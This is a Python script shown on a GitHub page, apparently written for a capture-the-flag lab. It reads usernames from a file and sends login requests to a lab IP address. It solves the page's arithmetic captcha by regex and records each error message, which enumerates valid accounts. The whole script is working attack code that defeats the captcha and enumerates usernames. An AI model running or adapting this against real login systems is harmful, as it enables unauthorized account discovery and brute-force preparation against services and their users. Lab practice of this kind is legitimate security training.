-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathgetusername.py
More file actions
43 lines (40 loc) · 1.49 KB
/
getusername.py
File metadata and controls
43 lines (40 loc) · 1.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import re
# parts of this script was generated by chatgpt
# Function to extract the captcha question and answer from the login page
def extract_captcha(html):
captcha_regex = r'(\d+)\s*([\+\-\*])\s*(\d+)\s*=\s*\?'
match = re.search(captcha_regex, html)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == '*':
answer = num1 * num2
return answer
else:
return None
captcha_answer = 1
# Read usernames from file
with open('usernames.txt', 'r') as file:
usernames = [line.strip() for line in file]
# Try each username
for username in usernames:
# Send login request
session = requests.session()
#data = {'username': username, 'password': 'password'}
#response = session.post('http://10.10.220.214/login', data=data)
#captcha_answer = extract_captcha(response.text)
data = {'username': username, 'password': 'password', 'captcha': captcha_answer}
response = session.post('http://10.10.220.214/login', data=data)
captcha_answer = extract_captcha(response.text)
error_message_match = re.search(r'Error(.+)', response.text)
if error_message_match:
error_message = error_message_match.group(1)
else:
error_message = 'Error message not found'
print(f"{username} - Error message: {error_message} ")